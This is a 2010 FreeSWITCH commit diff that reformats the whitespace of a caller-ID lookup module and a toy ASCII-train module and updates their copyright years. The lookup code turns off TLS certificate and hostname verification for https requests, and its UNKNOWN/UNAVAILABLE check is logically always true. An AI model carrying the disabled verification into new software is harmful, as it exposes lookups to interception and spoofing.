run indent on the whole tree and update copyright dates in prep for 1.0.5

git-svn-id: http://svn.freeswitch.org/svn/freeswitch/trunk@16579 d0543943-73ff-0310-b7d9-9358b9ac24b2
This commit is contained in:
Anthony Minessale committed 2010-02-06 03:38:24 +00:00
1 parent 7b347417e5
commit 886e1ddb4d
229 files changed
+20252 -20192

No files matched your search

+134 -143
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -28,7 +28,7 @@
* mod_cidlookup.c -- API for querying cid->name services
*
*/
#include <switch.h>
#include <curl/curl.h>
@@ -50,12 +50,12 @@ static struct {
char *url;
int curl_timeout;
int curl_warnduration;
char *whitepages_apikey;
switch_bool_t cache;
int cache_expire;
char *odbc_dsn;
char *odbc_user;
char *odbc_pass;
@@ -92,22 +92,24 @@ static switch_cache_db_handle_t *cidlookup_get_db_handle(void)
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
dbh = NULL;
}
return dbh;
}
static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
switch_bool_t changed)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_cache_db_handle_t *dbh = NULL;
if (!switch_odbc_available()) {
@@ -139,25 +141,31 @@ static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
done:
done:
switch_cache_db_release_db_handle(&dbh);
return status;
}
static switch_xml_config_string_options_t config_opt_dsn = {NULL, 0, NULL}; /* anything is ok here */
static switch_xml_config_string_options_t config_opt_dsn = { NULL, 0, NULL }; /* anything is ok here */
static switch_xml_config_item_t instructions[] = {
/* parameter name type reloadable pointer default value options structure */
SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}", "URL for the CID lookup service"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com", "api key for whitepages.com"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}",
"URL for the CID lookup service"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com",
"api key for whitepages.com"),
SWITCH_CONFIG_ITEM("cache", SWITCH_CONFIG_BOOL, CONFIG_RELOAD, &globals.cache, SWITCH_FALSE, NULL, "true|false", "whether to cache via cidlookup"),
SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *)300, NULL, "expire", "seconds to preserve num->name cache"),
SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *)2000, NULL, "timeout for curl", "milliseconds to timeout"),
SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *)1000, NULL, "warning when curl queries are longer than specified time", "milliseconds"),
SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *) 300, NULL, "expire",
"seconds to preserve num->name cache"),
SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *) 2000, NULL, "timeout for curl",
"milliseconds to timeout"),
SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *) 1000, NULL,
"warning when curl queries are longer than specified time", "milliseconds"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("sql", CONFIG_RELOAD, &globals.sql, NULL, "sql whre number=${caller_id_number}", "SQL to run if overriding CID"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info", "SQL to run if overriding CID"),
SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info",
"SQL to run if overriding CID"),
SWITCH_CONFIG_ITEM_CALLBACK("odbc-dsn", SWITCH_CONFIG_STRING, CONFIG_RELOAD, &globals.odbc_dsn, "", config_callback_dsn, &config_opt_dsn,
"db:user:passwd", "Database to use."),
"db:user:passwd", "Database to use."),
SWITCH_CONFIG_ITEM_END()
};
@@ -166,7 +174,7 @@ static switch_status_t do_config(switch_bool_t reload)
if (switch_xml_config_parse_module_settings("cidlookup.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_GENERR;
}
return SWITCH_STATUS_SUCCESS;
}
@@ -179,10 +187,10 @@ static switch_bool_t cidlookup_execute_sql_callback(char *sql, switch_core_db_ca
{
switch_bool_t retval = SWITCH_FALSE;
switch_cache_db_handle_t *dbh = NULL;
if (globals.odbc_dsn && (dbh = cidlookup_get_db_handle())) {
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *)cbt, err)
== SWITCH_ODBC_FAIL) {
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *) cbt, err)
== SWITCH_ODBC_FAIL) {
retval = SWITCH_FALSE;
} else {
retval = SWITCH_TRUE;
@@ -190,7 +198,7 @@ static switch_bool_t cidlookup_execute_sql_callback(char *sql, switch_core_db_ca
} else {
*err = switch_core_sprintf(cbt->pool, "Unable to get ODBC handle. dsn: %s, dbh is %s\n", globals.odbc_dsn, dbh ? "not null" : "null");
}
switch_cache_db_release_db_handle(&dbh);
return retval;
}
@@ -199,33 +207,31 @@ static int cidlookup_callback(void *pArg, int argc, char **argv, char **columnNa
{
callback_t *cbt = (callback_t *) pArg;
switch_memory_pool_t *pool = cbt->pool;
if (argc < 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
"Unexpected number of columns returned for SQL. Returned column count: %d. ",
argc);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unexpected number of columns returned for SQL. Returned column count: %d. ", argc);
return SWITCH_STATUS_GENERR;
}
cbt->name = switch_core_strdup(pool, switch_str_nil(argv[0]));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Name: %s\n", cbt->name);
return SWITCH_STATUS_SUCCESS;
}
/* make a new string with digits only */
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
{
char *p, *np, *newstr;
size_t len;
p = (char *)str;
p = (char *) str;
len = strlen(str);
newstr = switch_core_alloc(pool, len+1);
newstr = switch_core_alloc(pool, len + 1);
switch_assert(newstr);
np = newstr;
while(*p) {
while (*p) {
if (switch_isdigit(*p)) {
*np = *p;
np++;
@@ -237,16 +243,17 @@ static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
return newstr;
}
static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number)
{
char *cmd;
char *name = NULL;
char *area = NULL;
char *src = NULL;
cid_data_t *cid = NULL;
switch_stream_handle_t stream = { 0 };
SWITCH_STANDARD_STREAM(stream);
cmd = switch_core_sprintf(pool, "get fs:cidlookup:name:%s", number);
if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
if (strncmp("-ERR", stream.data, 4)) {
@@ -275,7 +282,7 @@ static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
src = NULL;
}
}
if (name || area || src) {
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
@@ -283,24 +290,21 @@ static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
cid->area = area;
cid->src = src;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
cmd,
(name) ? name : "(null)",
(area) ? area : "(null)",
(src) ? src : "(null)"
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
cmd, (name) ? name : "(null)", (area) ? area : "(null)", (src) ? src : "(null)");
switch_safe_free(stream.data);
return cid;
}
switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid) {
switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid)
{
char *cmd;
switch_bool_t success = SWITCH_TRUE;
switch_stream_handle_t stream = { 0 };
SWITCH_STANDARD_STREAM(stream);
cmd = switch_core_sprintf(pool, "set fs:cidlookup:name:%s '%s' %d", number, cid->name, globals.cache_expire);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: %s\n", cmd);
if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
@@ -334,7 +338,7 @@ switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *ci
}
}
done:
done:
switch_safe_free(stream.data);
return success;
}
@@ -347,17 +351,18 @@ static size_t file_callback(void *ptr, size_t size, size_t nmemb, void *data)
http_data->bytes += realsize;
if (http_data->bytes > http_data->max_bytes) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
http_data->err = 1;
return 0;
}
http_data->stream.write_function(
&http_data->stream, "%.*s", realsize, ptr);
http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
return realsize;
}
static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post, struct curl_slist *headers, int timeout) {
static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post,
struct curl_slist *headers, int timeout)
{
switch_time_t start_time = switch_micro_time_now();
switch_time_t time_diff = 0;
CURL *curl_handle = NULL;
@@ -365,20 +370,20 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
char hostname[256] = "";
struct http_data http_data;
memset(&http_data, 0, sizeof(http_data));
http_data.max_bytes = 10240;
SWITCH_STANDARD_STREAM(http_data.stream);
gethostname(hostname, sizeof(hostname));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "url: %s\n", query);
curl_handle = curl_easy_init();
curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0);
curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
if (!strncasecmp(query, "https", 5)) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
@@ -394,7 +399,7 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1);
curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 10);
/*
TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
*/
#ifdef CURLOPT_TIMEOUT_MS
if (timeout > 0) {
@@ -406,7 +411,7 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
if (timeout > 0) {
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
} else {
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout/1000);
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout / 1000);
}
#endif
curl_easy_setopt(curl_handle, CURLOPT_URL, query);
@@ -417,34 +422,24 @@ static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, cha
curl_easy_perform(curl_handle);
curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
curl_easy_cleanup(curl_handle);
if ( http_data.stream.data &&
!zstr((char *)http_data.stream.data) &&
strcmp(" ", http_data.stream.data) ) {
if (http_data.stream.data && !zstr((char *) http_data.stream.data) && strcmp(" ", http_data.stream.data)) {
/* don't return UNKNOWN */
if (strcmp("UNKNOWN", http_data.stream.data) ||
strcmp("UNAVAILABLE", http_data.stream.data)) {
if (strcmp("UNKNOWN", http_data.stream.data) || strcmp("UNAVAILABLE", http_data.stream.data)) {
*response = switch_core_strdup(pool, http_data.stream.data);
}
}
time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
if ((time_diff/1000) >= globals.curl_warnduration) {
time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
if ((time_diff / 1000) >= globals.curl_warnduration) {
switch_core_time_duration_t duration;
switch_core_measure_time(time_diff, &duration);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SLOW LOOKUP ("
"%um, "
"%us, "
"%ums"
"): url: %s\n",
duration.min,
duration.sec,
duration.ms,
query);
"%um, " "%us, " "%ums" "): url: %s\n", duration.min, duration.sec, duration.ms, query);
}
switch_safe_free(http_data.stream.data);
return httpRes;
}
@@ -463,19 +458,19 @@ static cid_data_t *do_whitepages_lookup(switch_memory_pool_t *pool, switch_event
/* NANPA check */
if (strlen(num) == 11 && num[0] == '1') {
num++; /* skip past leading 1 */
num++; /* skip past leading 1 */
} else {
goto done;
}
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-cid", num);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-api-key", globals.whitepages_apikey);
query = switch_event_expand_headers(event, "http://api.whitepages.com/reverse_phone/1.0/?phone=${whitepages-cid};api_key=${whitepages-api-key}");
do_lookup_url(pool, event, &xml_s, query, NULL, NULL, 0);
xml = switch_xml_parse_str_dup(xml_s);
if (!xml) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", xml_s);
goto done;
@@ -487,14 +482,14 @@ static cid_data_t *do_whitepages_lookup(switch_memory_pool_t *pool, switch_event
name = switch_core_strdup(pool, switch_xml_txt(node));
goto area;
}
node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:displayname", -1);
if (node) {
name = switch_core_strdup(pool, switch_xml_txt(node));
}
area:
area:
node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:address", 0, "wp:city", -1);
if (node) {
city = switch_xml_txt(node);
@@ -504,12 +499,12 @@ area:
if (node) {
state = switch_xml_txt(node);
}
if (city || state) {
area = switch_core_sprintf(pool, "%s %s", city ? city : "", state ? state : "");
}
done:
done:
if (query) {
switch_safe_free(query);
@@ -519,23 +514,24 @@ done:
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages XML: %s\n", xml_s);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages name: %s, area: %s\n", name ? name : "(null)", area ? area : "(null)");
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
cid->name = name;
cid->area = area;
cid->src = "whitepages";
return cid;
}
static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql) {
static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql)
{
char *name = NULL;
char *newsql = NULL;
char *err = NULL;
callback_t cbt = { 0 };
cbt.pool = pool;
if (globals.odbc_dsn) {
newsql = switch_event_expand_headers(event, sql);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", newsql);
@@ -551,13 +547,14 @@ static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, con
return name;
}
static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate) {
static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate)
{
char *number = NULL;
char *name = NULL;
char *url_query = NULL;
cid_data_t *cid = NULL;
switch_bool_t save_cache = SWITCH_FALSE;
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
@@ -581,40 +578,37 @@ static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event,
goto done;
}
}
if (!skipurl && globals.whitepages_apikey) {
cid = do_whitepages_lookup(pool, event, number);
if (cid && cid->name) { /* only cache if we have a name */
if (cid && cid->name) { /* only cache if we have a name */
save_cache = SWITCH_TRUE;
goto done;
}
}
if (!skipurl && globals.url) {
url_query = switch_event_expand_headers(event, globals.url);
do_lookup_url(pool, event, &name, url_query, NULL, NULL, 0);
if (name) {
cid->name = name;
cid->src = "url";
save_cache = SWITCH_TRUE;
}
if (url_query != globals.url) {
switch_safe_free(url_query);
}
}
done:
done:
if (!cid) {
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
}
/* append area if we can */
if (!cid->area &&
!skipcitystate &&
strlen(number) == 11 && number[0] == '1' &&
switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
if (!cid->area && !skipcitystate && strlen(number) == 11 && number[0] == '1' && switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
/* yes, this is really area */
name = do_db_lookup(pool, event, number, globals.citystate_sql);
if (name) {
@@ -626,7 +620,7 @@ done:
}
}
}
if (!cid->area) {
cid->area = "UNKNOWN";
}
@@ -636,11 +630,11 @@ done:
if (!cid->src) {
cid->src = "UNKNOWN";
}
if (globals.cache && save_cache) {
set_cache(pool, number, cid);
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cidlookup source: %s\n", cid->src);
return cid;
@@ -649,7 +643,7 @@ done:
SWITCH_STANDARD_APP(cidlookup_app_function)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *argv[4] = { 0 };
int argc;
char *mydata = NULL;
@@ -663,7 +657,7 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
const char *number = NULL;
switch_bool_t skipurl = SWITCH_FALSE;
switch_bool_t skipcitystate = SWITCH_FALSE;
if (session) {
pool = switch_core_session_get_pool(session);
} else {
@@ -674,7 +668,7 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
if (!(mydata = switch_core_session_strdup(session, data))) {
return;
}
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc > 0) {
number = switch_core_session_strdup(session, argv[0]);
@@ -687,20 +681,20 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
}
}
}
if (!number && profile) {
number = switch_caller_get_field_by_name(profile, "caller_id_number");
}
if (number) {
cid = do_lookup(pool, event, number, skipurl, skipcitystate);
}
if (switch_string_var_check_const(cid->name)) {
switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
switch_goto_status(SWITCH_STATUS_GENERR, done);
}
if (cid && channel) {
switch_channel_set_variable(channel, "original_caller_id_name", switch_core_strdup(pool, profile->caller_id_name));
if (!zstr(cid->src)) {
@@ -711,10 +705,10 @@ SWITCH_STANDARD_APP(cidlookup_app_function)
}
profile->caller_id_name = switch_core_strdup(profile->pool, cid->name);;
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
done:
done:
if (event) {
switch_event_destroy(&event);
}
@@ -722,6 +716,7 @@ done:
switch_core_destroy_memory_pool(&pool);
}
}
SWITCH_STANDARD_API(cidlookup_function)
{
switch_status_t status;
@@ -736,7 +731,7 @@ SWITCH_STANDARD_API(cidlookup_function)
switch_bool_t skipurl = SWITCH_FALSE;
switch_bool_t skipcitystate = SWITCH_FALSE;
switch_bool_t verbose = SWITCH_FALSE;
if (zstr(cmd)) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
@@ -753,22 +748,18 @@ SWITCH_STANDARD_API(cidlookup_function)
if (argc < 1) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
if (!strcmp("status", argv[0])) {
stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
globals.url ? globals.url : "(null)",
(globals.cache) ? "true" : "false",
globals.cache_expire);
stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
globals.curl_timeout,
globals.curl_warnduration);
stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
globals.odbc_dsn ? globals.odbc_dsn : "(null)",
globals.sql ? globals.sql : "(null)",
globals.citystate_sql ? globals.citystate_sql : "(null)");
stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available() ? "true" : "false");
stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
globals.url ? globals.url : "(null)", (globals.cache) ? "true" : "false", globals.cache_expire);
stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
globals.curl_timeout, globals.curl_warnduration);
stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
globals.odbc_dsn ? globals.odbc_dsn : "(null)",
globals.sql ? globals.sql : "(null)", globals.citystate_sql ? globals.citystate_sql : "(null)");
stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available()? "true" : "false");
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
}
for (i = 1; i < argc; i++) {
@@ -784,7 +775,7 @@ SWITCH_STANDARD_API(cidlookup_function)
cid = do_lookup(pool, event, argv[0], skipurl, skipcitystate);
if (cid) {
if (switch_string_var_check_const(cid->name)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
stream->write_function(stream, "-ERR Invalid CID data {%s} contains a variable\n", cid->name);
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
}
@@ -798,11 +789,11 @@ SWITCH_STANDARD_API(cidlookup_function)
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
usage:
usage:
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
switch_goto_status(status, done);
done:
done:
switch_safe_free(mydata);
if (event) {
switch_event_destroy(&event);
@@ -822,16 +813,16 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_cidlookup_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
memset(&globals, 0, sizeof(globals));
globals.pool = pool;
do_config(SWITCH_FALSE);
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &reload_xml_event) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
return SWITCH_STATUS_TERM;
}
SWITCH_ADD_API(api_interface, "cidlookup", "cidlookup API", cidlookup_function, SYNTAX);
SWITCH_ADD_APP(app_interface, "cidlookup", "Perform a CID lookup", "Perform a CID lookup",
cidlookup_app_function, "[number [skipurl]]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+187 -158
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -52,11 +52,11 @@ int vgo(int i, switch_core_session_t *session);
SWITCH_STANDARD_APP(cluechoo_app)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_channel_answer(channel);
switch_ivr_sleep(session, 1000, SWITCH_FALSE, NULL);
while(switch_channel_ready(channel)) {
while (switch_channel_ready(channel)) {
if (vgo(0, session) < 0) {
break;
}
@@ -66,7 +66,7 @@ SWITCH_STANDARD_APP(cluechoo_app)
SWITCH_STANDARD_API(cluechoo_function)
{
//stream->write_function(stream, "+OK Reloading\n");
go(0);
return SWITCH_STATUS_SUCCESS;
}
@@ -81,7 +81,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_cluechoo_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
SWITCH_ADD_API(api_interface, "cluechoo", "Cluechoo API", cluechoo_function, "syntax");
SWITCH_ADD_APP(app_interface, "cluechoo", "cluechoo", "cluechoo", cluechoo_app, "", SAF_NONE);
@@ -134,36 +134,45 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cluechoo_shutdown)
#include <unistd.h>
#include "sl.h"
int ACCIDENT = 0;
int LOGO = 0;
int FLY = 0;
int ACCIDENT = 0;
int LOGO = 0;
int FLY = 0;
int my_mvaddstr(int y, int x, char *str)
{
for ( ; x < 0; ++x, ++str)
if (*str == '\0') return ERR;
for ( ; *str != '\0'; ++str, ++x)
if (mvaddch(y, x, *str) == ERR) return ERR;
return OK;
for (; x < 0; ++x, ++str)
if (*str == '\0')
return ERR;
for (; *str != '\0'; ++str, ++x)
if (mvaddch(y, x, *str) == ERR)
return ERR;
return OK;
}
void option(char *str)
{
extern int ACCIDENT, FLY;
extern int ACCIDENT, FLY;
while (*str != '\0') {
while (*str != '\0') {
switch (*str++) {
case 'a': ACCIDENT = 1; break;
case 'F': FLY = 1; break;
case 'l': LOGO = 1; break;
default: break;
case 'a':
ACCIDENT = 1;
break;
case 'F':
FLY = 1;
break;
case 'l':
LOGO = 1;
break;
default:
break;
}
}
}
}
int go(int i)
{
int x;
int x;
int sleep_len = 40000;
if (i > 0) {
@@ -171,23 +180,25 @@ int go(int i)
}
/*
for (i = 1; i < argc; ++i) {
if (*argv[i] == '-') {
option(argv[i] + 1);
}
}
*/
initscr();
signal(SIGINT, SIG_IGN);
noecho();
leaveok(stdscr, TRUE);
scrollok(stdscr, FALSE);
for (i = 1; i < argc; ++i) {
if (*argv[i] == '-') {
option(argv[i] + 1);
}
}
*/
initscr();
signal(SIGINT, SIG_IGN);
noecho();
leaveok(stdscr, TRUE);
scrollok(stdscr, FALSE);
for (x = COLS - 1; ; --x) {
for (x = COLS - 1;; --x) {
if (LOGO == 0) {
if (add_D51(x) == ERR) break;
if (add_D51(x) == ERR)
break;
} else {
if (add_sl(x) == ERR) break;
if (add_sl(x) == ERR)
break;
}
refresh();
if (x == COLS / 4) {
@@ -195,9 +206,9 @@ int go(int i)
} else {
usleep(sleep_len);
}
}
mvcur(0, COLS - 1, LINES - 1, 0);
endwin();
}
mvcur(0, COLS - 1, LINES - 1, 0);
endwin();
return 0;
}
@@ -205,20 +216,20 @@ int go(int i)
int vgo(int i, switch_core_session_t *session)
{
int x;
int x;
int sleep_len = 40000;
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_frame_t *read_frame;
switch_status_t status;
switch_codec_implementation_t read_impl = {0};
switch_codec_t codec = {0};
switch_codec_implementation_t read_impl = { 0 };
switch_codec_t codec = { 0 };
int hangover_hits = 0, hangunder_hits = 0;
int diff_level = 400;
int hangover = 40, hangunder = 15;
int talking = 0;
int energy_level = 500;
int done = 0;
switch_core_session_get_read_impl(session, &read_impl);
switch_core_session_get_read_impl(session, &read_impl);
printf("%s", SWITCH_SEQ_CLEARSCR);
@@ -226,16 +237,16 @@ int vgo(int i, switch_core_session_t *session)
sleep_len = i;
}
initscr();
signal(SIGINT, SIG_IGN);
noecho();
leaveok(stdscr, TRUE);
scrollok(stdscr, FALSE);
initscr();
signal(SIGINT, SIG_IGN);
noecho();
leaveok(stdscr, TRUE);
scrollok(stdscr, FALSE);
if (switch_core_codec_init(&codec,
"L16",
NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
return -1;
@@ -243,28 +254,27 @@ int vgo(int i, switch_core_session_t *session)
switch_core_session_set_read_codec(session, &codec);
for (x = COLS - 1; ; --x) {
for (x = COLS - 1;; --x) {
if (!done && !switch_channel_ready(channel)) {
done = 1;
}
if (!done) {
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
if (!SWITCH_READ_ACCEPTABLE(status)) {
done = 1;
}
}
if (!done)
{
if (!done) {
